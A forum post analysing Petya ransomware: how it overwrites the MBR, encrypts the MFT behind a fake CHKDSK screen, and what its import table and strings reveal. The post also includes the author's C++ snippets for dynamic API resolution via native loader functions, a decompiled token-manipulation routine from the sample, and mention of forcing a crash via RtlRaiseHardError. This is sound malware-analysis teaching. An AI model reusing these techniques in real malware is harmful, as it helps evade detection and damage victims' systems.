Malware Analysis Petya ransomware [Malware Analysis]

Discussion in 'Malware Analysis' started by Opcode, Sep 16, 2017.

  1. Opcode

    Opcode Level 18
    Content Creator

    Aug 17, 2017
    Windows 10
    #1 Opcode, Sep 16, 2017
    Last edited: Sep 17, 2017
    Online Malware Analysis Report:
    VirusTotal Report:
    Analysis mode:
    Static and Dynamic Analysis
    Host Operating System:
    Windows 10
    (Static Analysis) Analysis Tools Used:
    (Static Analysis) Analysis screenshots:
    (Dynamic Analysis) Analysis screenshots:
    Some of the images do not load correctly therefore I've attached them.

    Analysing Petya ransomware

    Petya ransomware was discovered around the middle of 2016 (March). It is a nasty piece of ransomware which will make an attempt to attack the Master Boot Record (MBR) which will prevent your system from starting up properly and loading Windows. The ransomware was originally spread through malicious e-mail attachments, and it is believed that the first infection and spread was started through a malicious update for a piece of software which was being heavily used throughout Ukraine (MeDoc) - even government and banks were affected.

    Once a system has been successfully infected with Petya and the Master Boot Record modification operation has been executed, the system will be forcefully restarted; when the system starts booting back up, you’ll find that your operating system won’t be loaded… The Petya boot-loader will. The Petya boot-loader is multi-purposed, and on the first system boot on an infected machine it will present the user with a fake CHKDSK (Check Disk) scan - CHKDSK is a genuine feature implemented into Windows and Petya abused the design of it to trick people into believing that it was a real scan taking place. While the user is distracted and occupied with concentrating on the CHKDSK scan process which they believe is on-going, Petya will encrypt the Master File Table (MFT), and once this operation has completed the user will be displayed a flashing animation of a skull with a red background.

    Petya ransomware demands $300 worth of Bitcoin (BTC) which is a crypto-currency, more anonymous than normal currencies such as: GBP, Dollar, Euro, and other country currencies which can be transferred through services like PayPal. If the user does not pay the ransom then they will not receive the decryption key from the authors - the e-mail address which was presented on the Petya boot-loader was actually suspended by the e-mail service provider for violation of their terms agreement, preventing people from requesting a decryption key even if they do make the mistake of paying the ransom.


    Introduction to areas affected by Petya ransomware
    The Master Boot Record (MBR) is the first boot-sector on the hard drive; to cut it short, a boot sector is an area (also known as ‘region’) containing machine code which is present on any boot device - a boot device is any device where the code is loaded into memory by firmware, such as the BIOS (Basic Input and Output System). The MBR must be 512 bytes in size and be marked with a boot signature which will allow the BIOS to identify it was “bootable” - the boot signature is 55AA (0x55 0xAA) (0101 0101 1010 1010 in machine code form). The purpose of the MBR is to load the OS kernel (the kernel is the heart of the OS functionality) into memory, however modern operating systems are only available in 32-bit or 64-bit support, and for a 32-bit or 64-bit kernel to be loaded, other operations will have to be performed beforehand - this is why the boot sector is typically written in 16-bit Assembly instead of 32-bit or 64-bit Assembly, because by default there won’t be support for 32-bit/64-bit registers.

    The Master File Table (MFT) in the easiest form of explanation is a database, and like every database which actually has a purpose, it contains data which can be accessed or changed. The MFT is held within the NTFS (NT File System - Microsoft Windows, and the data it possesses is about the files on the system - such as where they are located and characteristic information about the files such as their file size. Without a functional MFT the OS will be unable to determine what files are on the system and any information about them, which prevents the user from accessing any of their files within the environment.

    Digging deeper into Petya ransomware
    There are many different samples of Petya, and in this section we will outline some information regarding the internals of the malware (how it performs the operations it carries out).

    Static analysis
    Straight off the bat, looking at the individual Petya sample I am using for this article (the launcher) will give us some red flags: the icon of the sample implies that the sample is actually an archive however the format type is *.exe (Portable Executable (PE)); the sample has no file detail information on where it originated from (such as the company/individual owner); the sample is quite small in size (not even half a megabyte); the sample has not been signed with a code authentication certificate which is used for enhancing security and providing more trust to the users of software; and the sample requires administrator rights to be ran. The details for the sample and the file size may vary because people can manipulate the data themselves before intentionally setting out to spread it round themselves (changing the details of the PE and/or file pumping).



    The reason Petya will require administrator rights is because it will be unable to modify the Master Boot Record without them - although bypasses for User Account Control (UAC) are not so rare these days, and it is best to keep UAC enabled at all times and to make sure to use the feature properly because while it was not specifically designed to help guard people from malicious software, it can definitely be used to your advantage to help do just that.

    The first step we take take is to check if the Petya sample is packed or not; if the sample is packed then we will need to unpack the sample, unless we intend on sticking to dynamic monitoring entirely. You can use a free tool known as PEiD to quickly scan for packing, however it may not always be able to identify depending on the packer used - PEiD is no longer updated and it has been this way for a long time now, and you can always use Exeinfo PE which is similar looking to PEiD but modernly updated if you’d like.

    The Petya sample I have is surprisingly not packed, and I further validated this by inspecting other characteristics. An example of another technique you can use to discover signs of packing (without using a tool like PEiD) would be to do a scan of the Import Address Table (IAT) for the sample - the Import Address Table is available for every Portable Executable and it contains entries for the statically imported functions (and each entry will point to a pointer address in memory where the function exists). If you cannot find signs of a lot of statically linked functions, but you can see two functions shining with a spot-light which would be kernel32.dll!GetProcAddress and kernel32.dll!LoadLibraryA/W, then the chances of the sample being packed increases. In a situation like that, it would be wise to inspect other characteristics by digging into the PE File Header, calculating entropy, etc.

    The function GetProcAddress (which is exported by kernel32.dll) is used to retrieve the address to functions passed in for the second parameter, and the first parameter is for the module the function exists within. GetProcAddress is part of the Win32 API and has been around since Windows XP; when the function is called, eventually the function LdrGetProcedureAddress will be called (which is apart of the Native API (NTAPI) and happens to be exported by ntdll.dll).

    The function structure is as follows:

    FARPROC WINAPI GetProcAddress(
      _In_ HMODULE hModule,
      _In_ LPCSTR  lpProcName
    The function structure tells us that we pass pass in two variables but the output it not going to be sent to either variables we pass in (hence the _In_), and the value returned is of type FARPROC.

    I have written a code sample example for you below to demonstrate how GetProcAddress can be used, or how LdrGetProcedureAddress (which will be called eventually after GetProcAddress is used) can be used. The code sample demonstration is in C++.

    typedef NTSTATUS(NTAPI *pLdrGetProcedureAddress)(HMODULE ModuleHandle, PANSI_STRING FunctionName OPTIONAL, WORD Ordinal OPTIONAL, PVOID *FunctionAddress);
    FARPROC LdrGetProcAddress(HMODULE hModule, PCHAR lpProcName, BOOL bNative)
        FARPROC fpFunctionAddress = 0;
        if (bNative)
            FARPROC fpLdrGetProcedureAddress = GetProcAddress(GetModuleHandle("ntdll.dll"), "LdrGetProcedureAddress");
            if (fpLdrGetProcedureAddress)
                STRING LdrAddressInfo;
                LdrAddressInfo.Buffer = lpProcName;
                LdrAddressInfo.Length = (strlen(LdrAddressInfo.Buffer) * 2);
                LdrAddressInfo.MaximumLength = (LdrAddressInfo.Length + 2);
                pLdrGetProcedureAddress LdrGetProcedureAddress = (pLdrGetProcedureAddress)fpLdrGetProcedureAddress;
                try {
                    LdrGetProcedureAddress(hModule, &LdrAddressInfo, NULL, (PVOID*)&fpFunctionAddress);
                catch (...)
            fpFunctionAddress = GetProcAddress(hModule, lpProcName);
        return fpFunctionAddress;
    LoadLibrary (A/W)
    The function LoadLibrary (A/W - A is for Ascii, W is for Unicode - also exported by kernel32.dll) is used to load a module (Also known as Dynamic Link Library, file extension *.dll) into the address space of the process performing the call. The function only takes one parameter which is the file path of the module you wish to load, however if you do not specify a full path it will still work as long as the module is present within a location such as <SystemDrive>\\Windows\\System32\\, or the same directory the program is running from. LoadLibraryA/W is part of the Win32 API and has also been around since Windows XP; when the function is called, eventually the function LdrLoadDll (undocumented but also part of the Native API (NTAPI) and exported by ntdll.dll) will be called.
    The function structure is as follows:
    HMODULE WINAPI LoadLibrary(
      _In_ LPCTSTR lpFileName
    I have written a code sample example for you below to demonstrate how LoadLibraryA/W can be used, or how LdrLoadDll can be used. The code sample demonstration is in C++.

    HMODULE hLdrLoadDll(LPWSTR DllName, BOOL bNative)
        HMODULE hModule = (HMODULE)0; // we will store our HMODULE here later on
        if (bNative)
            // get the address of LdrLoadDll from ntdll.dll
            LPVOID lpLdrLoadDll = (LPVOID)GetProcAddress(GetModuleHandle("ntdll.dll"), "LdrLoadDll");
            if (lpLdrLoadDll) // if the address is obtained
                UNICODE_STRING LdrDllInfo; // we will use this to hold the information for the LdrLoadDll call
                LdrDllInfo.Buffer = DllName; // the dll path must be the .Buffer -> you can always just do = L"path" instead of passing a param for it
                LdrDllInfo.Length = (wcslen(DllName) * 2); // calc the length
                LdrDllInfo.MaximumLength = (LdrDllInfo.Length + 2); // max length calc
                pLdrLoadDll LdrLoadDll = (pLdrLoadDll)lpLdrLoadDll; // setup memory for the call
                try {
                    LdrLoadDll(NULL, NULL, &LdrDllInfo, &hModule); // call LdrLoadDll
                catch (...)
            hModule = LoadLibraryW(DllName);
        return hModule;
    Packers tend to use GetProcAddress/LoadLibrary to make the imports dynamic instead of static, thus why packed samples tend to have fewer imports.

    Considering the Petya sample I have is not packed, we can easily check the statically-linked imports. There are a lot of different software which can be useful for malware analysis which has a feature to do this, such as (but not limited to): IDA; FileAlyzer; and PeStudio.

    I have used IDA to check the imports of the function (Import Address Table scanning) and have wrapped them into CODE tags.

    Address           Ordinal Name                       Library
    -----------         ---------------------------------         -----------------
    00428000         GetSecurityDescriptorSacl             ADVAPI32
    00428004         GetSecurityDescriptorDacl             ADVAPI32
    00428008         GetSecurityDescriptorGroup            ADVAPI32
    0042800C         GetSecurityDescriptorOwner            ADVAPI32
    00428010         GetSecurityDescriptorControl          ADVAPI32
    00428014         GetLengthSid                          ADVAPI32
    00428018         CopySid                               ADVAPI32
    0042801C         IsValidSid                            ADVAPI32
    00428020         GetSidSubAuthority                    ADVAPI32
    00428024         InitializeSid                         ADVAPI32
    00428028         GetSidLengthRequired                  ADVAPI32
    0042802C         SetSecurityDescriptorDacl             ADVAPI32
    00428030         AddAce                                ADVAPI32
    00428034         InitializeAcl                         ADVAPI32
    00428038         GetAclInformation                     ADVAPI32
    0042803C         InitializeSecurityDescriptor          ADVAPI32
    00428040         MakeAbsoluteSD                        ADVAPI32
    00428044         OpenProcessToken                      ADVAPI32
    00428048         GetTokenInformation                   ADVAPI32
    0042804C         SetSecurityDescriptorOwner            ADVAPI32
    00428050         SetSecurityDescriptorGroup            ADVAPI32
    00428054         GetAce                                ADVAPI32
    00428058         MakeSelfRelativeSD                    ADVAPI32
    0042805C         GetSecurityDescriptorLength           ADVAPI32
    00428060         EqualSid                              ADVAPI32
    00428064         SetNamedSecurityInfoW                 ADVAPI32
    00428068         ConvertStringSidToSidW                ADVAPI32
    0042806C         OpenThreadToken                       ADVAPI32
    00428070         RegQueryValueExW                      ADVAPI32
    00428074         RegOpenKeyExW                         ADVAPI32
    00428078         RegDeleteKeyW                         ADVAPI32
    0042807C         RegDeleteValueW                       ADVAPI32
    00428080         RegCloseKey                           ADVAPI32
    00428084         RegCreateKeyExW                       ADVAPI32
    00428088         RegSetValueExW                        ADVAPI32
    0042808C         RegEnumKeyExW                         ADVAPI32
    00428090         RegQueryInfoKeyW                      ADVAPI32
    00428094         ConvertSidToStringSidW                ADVAPI32
    00428098         AllocateAndInitializeSid              ADVAPI32
    0042809C         CheckTokenMembership                  ADVAPI32
    004280A0         FreeSid                               ADVAPI32
    004280A4         SetSecurityDescriptorSacl             ADVAPI32
    004280A8         GetTraceLoggerHandle                  ADVAPI32
    004280AC         GetTraceEnableFlags                   ADVAPI32
    004280B0         GetTraceEnableLevel                   ADVAPI32
    004280B4         RegisterTraceGuidsW                   ADVAPI32
    004280B8         UnregisterTraceGuids                  ADVAPI32
    004280BC         TraceEvent                            ADVAPI32
    004280C0         SetTokenInformation                   ADVAPI32
    004280C8         GetCurrentThreadId                    KERNEL32
    004280CC         GetStdHandle                          KERNEL32
    004280D0         GetFileType                           KERNEL32
    004280D4         GetStartupInfoW                       KERNEL32
    004280D8         GetModuleFileNameW                    KERNEL32
    004280DC         WriteFile                             KERNEL32
    004280E0         QueryPerformanceCounter               KERNEL32
    004280E4         GetCurrentProcessId                   KERNEL32
    004280E8         GetSystemTimeAsFileTime               KERNEL32
    004280EC         GetEnvironmentStringsW                KERNEL32
    004280F0         FreeEnvironmentStringsW               KERNEL32
    004280F4         UnhandledExceptionFilter              KERNEL32
    004280F8         SetUnhandledExceptionFilter           KERNEL32
    004280FC         CreateEventW                          KERNEL32
    00428100         Sleep                                 KERNEL32
    00428104         GetCurrentProcess                     KERNEL32
    00428108         TerminateProcess                      KERNEL32
    0042810C         TlsAlloc                              KERNEL32
    00428110         TlsGetValue                           KERNEL32
    00428114         TlsSetValue                           KERNEL32
    00428118         TlsFree                               KERNEL32
    0042811C         GetTickCount                          KERNEL32
    00428120         CreateSemaphoreW                      KERNEL32
    00428124         FreeLibrary                           KERNEL32
    00428128         LoadLibraryExW                        KERNEL32
    0042812C         IsValidCodePage                       KERNEL32
    00428130         GetACP                                KERNEL32
    00428134         GetOEMCP                              KERNEL32
    00428138         GetCPInfo                             KERNEL32
    0042813C         RtlUnwind                             KERNEL32
    00428140         LCMapStringW                          KERNEL32
    00428144         GetStringTypeW                        KERNEL32
    00428148         FlushFileBuffers                      KERNEL32
    0042814C         GetConsoleCP                          KERNEL32
    00428150         GetConsoleMode                        KERNEL32
    00428154         SetStdHandle                          KERNEL32
    00428158         SetFilePointerEx                      KERNEL32
    0042815C         WriteConsoleW                         KERNEL32
    00428160         CloseHandle                           KERNEL32
    00428164         CreateFileW                           KERNEL32
    00428168         SizeofResource                        KERNEL32
    0042816C         LockResource                          KERNEL32
    00428170         LoadResource                          KERNEL32
    00428174         FindResourceW                         KERNEL32
    00428178         FindResourceExW                       KERNEL32
    0042817C         LocalFree                             KERNEL32
    00428180         CreateDirectoryW                      KERNEL32
    00428184         DeleteFileW                           KERNEL32
    00428188         GetCurrentThread                      KERNEL32
    0042818C         WaitForMultipleObjects                KERNEL32
    00428190         LoadLibraryW                          KERNEL32
    00428194         WaitForSingleObject                   KERNEL32
    00428198         GetExitCodeProcess                    KERNEL32
    0042819C         DuplicateHandle                       KERNEL32
    004281A0         ReleaseMutex                          KERNEL32
    004281A4         GetEnvironmentVariableW               KERNEL32
    004281A8         lstrcmpiW                             KERNEL32
    004281AC         VirtualQuery                          KERNEL32
    004281B0         GetTempPathW                          KERNEL32
    004281B4         GetLocalTime                          KERNEL32
    004281B8         OutputDebugStringA                    KERNEL32
    004281BC         GetPrivateProfileIntW                 KERNEL32
    004281C0         GetPrivateProfileStringW              KERNEL32
    004281C4         lstrcmpW                              KERNEL32
    004281C8         lstrlenW                              KERNEL32
    004281CC         SetFilePointer                        KERNEL32
    004281D0         CreateMutexW                          KERNEL32
    004281D4         InitializeCriticalSection             KERNEL32
    004281D8         TryEnterCriticalSection               KERNEL32
    004281DC         SetEvent                              KERNEL32
    004281E0         ResetEvent                            KERNEL32
    004281E4         GetFileAttributesExW                  KERNEL32
    004281E8         SetLastError                          KERNEL32
    004281EC         VerifyVersionInfoW                    KERNEL32
    004281F0         VerSetConditionMask                   KERNEL32
    004281F4         MoveFileExW                           KERNEL32
    004281F8         GetFileTime                           KERNEL32
    004281FC         ReadFile                              KERNEL32
    00428200         DeviceIoControl                       KERNEL32
    00428204         SetProcessWorkingSetSize              KERNEL32
    00428208         OpenProcess                           KERNEL32
    0042820C         CreateProcessW                        KERNEL32
    00428210         ReadProcessMemory                     KERNEL32
    00428214         lstrcpynW                             KERNEL32
    00428218         GlobalAlloc                           KERNEL32
    0042821C         GlobalLock                            KERNEL32
    00428220         GlobalUnlock                          KERNEL32
    00428224         GlobalFree                            KERNEL32
    00428228         CreateThread                          KERNEL32
    0042822C         DebugActiveProcess                    KERNEL32
    00428230         GetThreadContext                      KERNEL32
    00428234         DebugActiveProcessStop                KERNEL32
    00428238         VirtualQueryEx                        KERNEL32
    0042823C         GetProcessId                          KERNEL32
    00428240         GetSystemInfo                         KERNEL32
    00428244         ContinueDebugEvent                    KERNEL32
    00428248         WaitForDebugEvent                     KERNEL32
    0042824C         WideCharToMultiByte                   KERNEL32
    00428250         MultiByteToWideChar                   KERNEL32
    00428254         GetModuleHandleExW                    KERNEL32
    00428258         ExitProcess                           KERNEL32
    0042825C         IsProcessorFeaturePresent             KERNEL32
    00428260         GetCommandLineW                       KERNEL32
    00428264         EncodePointer                         KERNEL32
    00428268         LeaveCriticalSection                  KERNEL32
    0042826C         WaitNamedPipeW                        KERNEL32
    00428270         TransactNamedPipe                     KERNEL32
    00428274         SetNamedPipeHandleState               KERNEL32
    00428278         RtlCaptureContext                     KERNEL32
    0042827C         ReleaseSemaphore                      KERNEL32
    00428280         EnterCriticalSection                  KERNEL32
    00428284         OutputDebugStringW                    KERNEL32
    00428288         DeleteCriticalSection                 KERNEL32
    0042828C         DecodePointer                         KERNEL32
    00428290         HeapSize                              KERNEL32
    00428294         GetProcAddress                        KERNEL32
    00428298         GetLastError                          KERNEL32
    0042829C         RaiseException                        KERNEL32
    004282A0         HeapDestroy                           KERNEL32
    004282A4         InitializeCriticalSectionAndSpinCount KERNEL32
    004282A8         GetProcessHeap                        KERNEL32
    004282AC         GetModuleHandleW                      KERNEL32
    004282B0         HeapFree                              KERNEL32
    004282B4         IsDebuggerPresent                     KERNEL32
    004282B8         GetUserDefaultLangID                  KERNEL32
    004282BC         GetSystemDefaultLangID                KERNEL32
    004282C0         GetComputerNameExW                    KERNEL32
    004282C4         GetOverlappedResult                   KERNEL32
    004282C8         ConnectNamedPipe                      KERNEL32
    004282CC         CreateNamedPipeW                      KERNEL32
    004282D0         DisconnectNamedPipe                   KERNEL32
    004282D4         UnregisterWait                        KERNEL32
    004282D8         GetProcessTimes                       KERNEL32
    004282DC         UnregisterWaitEx                      KERNEL32
    004282E0         RegisterWaitForSingleObject           KERNEL32
    004282E4         VirtualProtect                        KERNEL32
    004282E8         VirtualAlloc                          KERNEL32
    004282EC         HeapAlloc                             KERNEL32
    004282F0         RemoveDirectoryW                      KERNEL32
    004282F4         HeapReAlloc                           KERNEL32
    004282FC         NetApiBufferFree                      NETAPI32
    00428300         NetWkstaGetInfo                       NETAPI32
    00428308         UuidCreate                            RPCRT4
    00428310         SHGetFolderPathW                      SHELL32
    00428318         PathRemoveExtensionW                  SHLWAPI
    0042831C         PathRemoveFileSpecW                   SHLWAPI
    00428320         PathStripPathW                        SHLWAPI
    00428324         PathCanonicalizeW                     SHLWAPI
    00428328         PathIsRelativeW                       SHLWAPI
    0042832C         SHQueryValueExW                       SHLWAPI
    00428330         PathAppendW                           SHLWAPI
    00428338         SetClipboardData                      USER32
    0042833C         EmptyClipboard                        USER32
    00428340         OpenClipboard                         USER32
    00428344         GetProcessWindowStation               USER32
    00428348         CloseDesktop                          USER32
    0042834C         CloseClipboard                        USER32
    00428350         CharUpperW                            USER32
    00428354         CharLowerW                            USER32
    00428358         PostThreadMessageW                    USER32
    0042835C         DispatchMessageW                      USER32
    00428360         GetMessageW                           USER32
    00428364         PeekMessageW                          USER32
    00428368         EnumWindows                           USER32
    0042836C         IsWindowVisible                       USER32
    00428370         GetWindowThreadProcessId              USER32
    00428374         SetThreadDesktop                      USER32
    00428378         CreateWindowStationW                  USER32
    0042837C         CloseWindowStation                    USER32
    00428380         GetThreadDesktop                      USER32
    00428384         SetProcessWindowStation               USER32
    00428388         CreateDesktopW                        USER32
    0042838C         wvsprintfW                            USER32
    00428390         wsprintfW                             USER32
    00428394         MessageBoxW                           USER32
    0042839C         UnloadUserProfile                     USERENV
    004283A4         GetFileVersionInfoW                   VERSION
    004283A8         VerQueryValueW                        VERSION
    004283AC         GetFileVersionInfoSizeW               VERSION
    004283B4         CoCreateGuid                          ole32
    004283B8         StringFromGUID2                       ole32
    Many of the functions from the imports list above interest me, however the sample also makes use of dynamic imports (which means the import is performed during execution, and as a result we cannot see it while doing a static scan for the Import Address Table). Since I am already aware of how Petya more-or-less works, I know that the sample should be making a call to an undocumented Native API function called RtlRaiseHardError; the function takes in several parameters however if you play your cards right with using the function correctly, you will be able to force the system into a BSOD (Blue Screen Of Death) crash - this will lead to the system rebooting usually. The reason Petya would want to force crash the system would be to get the system to reboot and load its own boot-sector, because after the Master Boot Record overwrite has been successfully carried out, the boot-sector from Petya won’t be executed until the BIOS loads it into memory to do so (which occurs at every system boot on systems relying on a Master Boot Record - not everyone does nowadays). Under normal circumstances, using a debugger such as OllyDbg would be really helpful, however there is no need for me to do this to get the information I wish to grab before Petya can crash the system later on towards the end of the analysis.

    To force crash the system with RtlRaiseHardError, you’re required to have enabled SeShutdownPrivilege. If we look at the above imports list (statically linked), you may have noticed the following earlier:

    Address           Ordinal Name         Library
    -------            ----------------         ----------
    00428044         OpenProcessToken     ADVAPI32
    00428048         GetTokenInformation  ADVAPI32
    0042806C         OpenThreadToken      ADVAPI32
    004280C0         SetTokenInformation  ADVAPI32
    Normally, it is more common to either find usage of AdjustTokenPrivileges (Win32 API), or RtlAdjustTokenPrivilege (NTAPI). This time around, Petya is using SetTokenInformation. Regardless, the final result will be a Native API call to the function NtAdjustPrivilegesToken (undocumented).

    If we take a look at MSDN, the function structure for SetTokenInformation is as follows:

    BOOL WINAPI SetTokenInformation(
      _In_ HANDLE                  TokenHandle,
      _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
      _In_ LPVOID                  TokenInformation,
      _In_ DWORD                   TokenInformationLength
    The parameter we are interested in right now with the definition of that function would be the TOKEN_INFORMATION_CLASS parameter (TokenInformationClass). MSDN actually provide a link to the page containing the information regarding this.

    typedef enum _TOKEN_INFORMATION_CLASS {
      TokenUser = 1,
    If you look at the third entry, ‘TokenPrivileges’, that is the one we are interested in right now. It is for a structure in the Win32 API called TOKEN_PRIVILEGES. Here are the contents of the structure:

    typedef struct _TOKEN_PRIVILEGES {
      DWORD               PrivilegeCount;
    The TOKEN_PRIVILEGES will be used to hold information for the access rights being requested. You can find information on Privilege Constants over on MSDN:

    Here is an example of a function within the sample which will change the token privileges; I have re-named variables so it can be understood better, including the function name:
    signed int modifyToken()
      char v0; // al@1
      signed int result; // eax@2
      signed int resultInfo; // esi@4
      DWORD sidLength; // eax@5
      DWORD calcInfo; // esi@5
      HANDLE ProcessHandle; // eax@5
      PSID TokenInformation; // [sp+8h] [bp-10h]@5
      int intInfo; // [sp+Ch] [bp-Ch]@5
      PSID Sid; // [sp+10h] [bp-8h]@3
      HANDLE TokenHandle; // [sp+14h] [bp-4h]@5
      if ( v0 )
        Sid = 0;
        if ( ConvertStringSidToSidW(L"S-1-16-0", &Sid) )
          intInfo = 32;
          TokenInformation = Sid;
          sidLength = GetLengthSid(Sid);            // get length
          TokenHandle = 0;
          calcInfo = sidLength + 8;
          ProcessHandle = GetCurrentProcess();      // get handle to current process
          OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &TokenHandle);
          resultInfo = SetTokenInformation(TokenHandle, TokenImpersonationLevel|0x10, &TokenInformation, calcInfo) != 0 ? 0 : -2147467259;// access token
          if ( TokenHandle )
            CloseHandle(TokenHandle);               // close token handle
          resultInfo = -2147467259;                 // failed
        if ( Sid )                                  // success
        result = resultInfo;
        result = 0;
      return result;                                // return the status


    We can move on from imports and discussing token privileges for the time-being, but we will come back to the topic briefly later on when we start performing dynamic analysis.

    The next thing we will do is scan for the strings within the Portable Executable (PE) (the sample). You don’t need any fancy software to do this, you can use Strings by Mark Russinovich (SysInternals). Since I prefer IDA and it has a Strings scanning feature I can simply use that by opening the Strings tab, but for those that to do use IDA, you can use Strings (for your information, other software for Import scanning will most likely have a feature for Strings scanning as well).

    Below is a list of the Strings which were found by IDA (some had to be removed due to thread character limit):

    bad allocation                                                                                                                                              
    Unknown exception                                                                                                                                                                                                               
    .rdata:0042B544 00000006 C    e+000                                                                                                                                                                                                                           
    .rdata:0042B568 00000007 C    Sunday                                                                                                                                                                                                                           
    .rdata:0042B570 00000007 C    Monday                                                                                                                                                                                                                           
    .rdata:0042B578 00000008 C    Tuesday                                                                                                                                                                                                                         
    .rdata:0042B580 0000000A C    Wednesday                                                                                                                                                                                                                       
    .rdata:0042B58C 00000009 C    Thursday                                                                                                                                                                                                                        
    .rdata:0042B598 00000007 C    Friday                                                                                                                                                                                                                           
    .rdata:0042B5A0 00000009 C    Saturday                                                                                                                                                                                                                         
    .rdata:0042B5DC 00000008 C    January                                                                                                                                                                                                                         
    .rdata:0042B5E4 00000009 C    February                                                                                                                                                                                                                         
    .rdata:0042B5F0 00000006 C    March                                                                                                                                                                                                                           
    .rdata:0042B5F8 00000006 C    April                                                                                                                                                                                                                           
    .rdata:0042B600 00000005 C    June                                                                                                                                                                                                                             
    .rdata:0042B608 00000005 C    July                                                                                                                                                                                                                             
    .rdata:0042B610 00000007 C    August                                                                                                                                                                                                                           
    .rdata:0042B618 0000000A C    September                                                                                                                                                                                                                       
    .rdata:0042B624 00000008 C    October                                                                                                                                                                                                                         
    .rdata:0042B62C 00000009 C    November                                                                                                                                                                                                                         
    .rdata:0042B638 00000009 C    December                                                                                                                                                                                                                         
    .rdata:0042B64C 00000009 C    MM/dd/yy                                                                                                                                                                                                                         
    .rdata:0042B658 00000014 C    dddd, MMMM dd, yyyy                                                                                                                                                                                                             
    .rdata:0042B66C 00000009 C    HH:mm:ss                                                                                                                                                                                                                         
    .rdata:0042B81C 0000000C C    MessageBoxW                                                                                                                                                                                                                     
    .rdata:0042B828 00000010 C    GetActiveWindow                                                                                                                                                                                                                 
    .rdata:0042B838 00000013 C    GetLastActivePopup                                                                                                                                                                                                               
    .rdata:0042B84C 0000001A C    GetUserObjectInformationW                                                                                                                                                                                                       
    .rdata:0042B868 00000018 C    GetProcessWindowStation                                                                                                                                                                                                         
    .rdata:0042BA14 00000009 C    __based(                                                                                                                                                                                                                        
    .rdata:0042BA20 00000008 C    __cdecl                                                                                                                                                                                                                         
    .rdata:0042BA28 00000009 C    __pascal                                                                                                                                                          
    .rdata:0042BA34 0000000A C    __stdcall                                                                                                                                                                                                                       
    .rdata:0042BA40 0000000B C    __thiscall                                                                                                                                                                                                                       
    .rdata:0042BA4C 0000000B C    __fastcall                                                                                                                                                                                                                       
    .rdata:0042BA58 0000000D C    __vectorcall                                                                                                                                                                                                                     
    .rdata:0042BA68 0000000A C    __clrcall                                                                                                                                                                                                                       
    .rdata:0042BA74 00000007 C    __eabi                                                                                                                                                                                                                           
    .rdata:0042BA7C 00000008 C    __ptr64                                                                                                                                                                                                                         
    .rdata:0042BA84 0000000B C    __restrict                                                                                                                                                                                                                       
    .rdata:0042BA90 0000000C C    __unaligned                                                                                                                                                                                                                     
    .rdata:0042BA9C 0000000A C    restrict(                                                                                                                                                                                                                       
    .rdata:0042BAA8 00000005 C     new                                                                                                                                                                                                                             
    .rdata:0042BAB0 00000008 C     delete                                                                                                                                                                                                                         
    .rdata:0042BAD4 00000009 C    operator                                                                                                                                                                                                                         
    .rdata:0042BB58 0000000A C    `vftable'                                                                                                                                                                                                                       
    .rdata:0042BB64 0000000A C    `vbtable'                                                                                                                                                                                                                       
    .rdata:0042BB70 00000008 C    `vcall'                                                                                                                                                                                                                         
    .rdata:0042BB78 00000009 C    `typeof'                                                                                                                                                                                                                         
    .rdata:0042BB84 00000015 C    `local static guard'                                                                                                                                                                                                             
    .rdata:0042BB9C 00000009 C    `string'                                                                                                                                                                                                                         
    .rdata:0042BBA8 00000013 C    `vbase destructor'                                                                                                                                                                                                               
    .rdata:0042BBBC 0000001D C    `vector deleting destructor'                                                                                                                                                                                                     
    .rdata:0042BBDC 0000001E C    `default constructor closure'                                                                                                                                                                                                   
    .rdata:0042BBFC 0000001D C    `scalar deleting destructor'                                                                                                                                                                                                    
    .rdata:0042BC1C 0000001E C    `vector constructor iterator'                                                                                                                                                                                                   
    .rdata:0042BC3C 0000001D C    `vector destructor iterator'                                                                                                                                                                                                     
    .rdata:0042BC5C 00000024 C    `vector vbase constructor iterator'                                                                                                                                                                                             
    .rdata:0042BC80 0000001B C    `virtual displacement map'                                                                                                                                                                                                       
    .rdata:0042BC9C 00000021 C    `eh vector constructor iterator'                                                                                                                                                                                                 
    .rdata:0042BCC0 00000020 C    `eh vector destructor iterator'                                                                                                                                                                                                 
    .rdata:0042BCE0 00000027 C    `eh vector vbase constructor iterator'                                                                                                                                                                                           
    .rdata:0042BD08 0000001B C    `copy constructor closure'                                                                                                                                                                                                       
    .rdata:0042BD24 00000010 C    `udt returning'                                                                                                                                                                                                                 
    .rdata:0042BD38 00000006 C    `RTTI                                                                                                                                                                                                                           
    .rdata:0042BD40 00000010 C    `local vftable'                                                                                                                                                                                                                 
    .rdata:0042BD50 00000024 C    `local vftable constructor closure'                                                                                                                                                                                             
    .rdata:0042BD74 00000007 C     new[]                                                                                                                                                                                                                           
    .rdata:0042BD7C 0000000A C     delete[]                                                                                                                                                                                                                       
    .rdata:0042BD88 0000000F C    `omni callsig'                                                                                                                                                                                                                   
    .rdata:0042BD98 0000001B C    `placement delete closure'                                                                                                                                                                                                       
    .rdata:0042BDB4 0000001D C    `placement delete[] closure'                                                                                                                                                                                                     
    .rdata:0042BDD4 00000026 C    `managed vector constructor iterator'                                                                                                                                                                                           
    .rdata:0042BDFC 00000025 C    `managed vector destructor iterator'                                                                                                                                                                                             
    .rdata:0042BE24 00000026 C    `eh vector copy constructor iterator'                                                                                                                                                                                           
    .rdata:0042BE4C 0000002C C    `eh vector vbase copy constructor iterator'                                                                                                                                                                                     
    .rdata:0042BE78 0000001B C    `dynamic initializer for '                                                                                                                                                                                                       
    .rdata:0042BE94 00000021 C    `dynamic atexit destructor for '                                                                                                                                                                                                 
    .rdata:0042BEB8 00000023 C    `vector copy constructor iterator'                                                                                                                                                                                               
    .rdata:0042BEDC 00000029 C    `vector vbase copy constructor iterator'                                                                                                                                                                                         
    .rdata:0042BF08 0000002B C    `managed vector copy constructor iterator'                                                                                                                                                                                       
    .rdata:0042BF34 0000001C C    `local static thread guard'                                                                                                                                                                                                     
    .rdata:0042BF50 00000012 C     Type Descriptor'                                                                                                                                                                                                               
    .rdata:0042BF64 0000001C C     Base Class Descriptor at (                                                                                                                                                                                                     
    .rdata:0042BF80 00000013 C     Base Class Array'                                                                                                                                                                                                               
    .rdata:0042BF94 0000001D C     Class Hierarchy Descriptor'                                                                                                                                                                                                     
    .rdata:0042BFB4 0000001A C     Complete Object Locator'                                                                                                                                                                                                       
    .rdata:0042C55F 00000005 C    \a\b\t\n\v                                                                                                                                                                                                                       
